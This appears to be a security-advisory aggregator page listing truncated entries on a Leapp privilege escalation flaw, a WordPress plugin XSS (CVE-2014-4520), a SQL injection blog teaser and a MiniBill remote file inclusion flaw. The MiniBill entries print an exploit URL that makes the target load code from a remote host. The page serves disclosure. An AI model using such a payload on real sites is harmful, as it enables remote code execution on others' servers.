EUVD-2026-78326

A privilege escalation flaw was found in the scanmysql actor of leapp-upgrade-el9toel10 provided by leapp-repository. During RHEL 9 to RHEL 10 upgrades, the actor runs: mysqld --validate-config --log-error-verbosity=2 directly as root in the Leapp actor context, bypassing the packaged MySQL syste...

CVE-2014-4520

Cross-site scripting XSS vulnerability in phprack.php in the DMCA WaterMarker plugin before 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the plugindir parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in phprack.php in the DMCA WaterMarker plugin before 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the plugindir parameter...

CVE-2014-4520: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in phprack.php in the DMCA WaterMarker plugin before 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the plugindir parameter...

Выполнение подзапросов и команд ОС в инъекциях SELECT под MySQL

We would like to open our blog notes on the practical implementation of the SQL-injections. And also we try to focus more attention on the practical aspects of web application security in the future. SQL injections are the most common server-side Web application vulnerabilities and meet almost...

MiniBill <= 1.22b config[plugin_dir] Remote File Inclusion Vulnerabilities

No description provided by source. MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...

MiniBill 1.22b - config[plugin_dir] Remote File Inclusion

MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...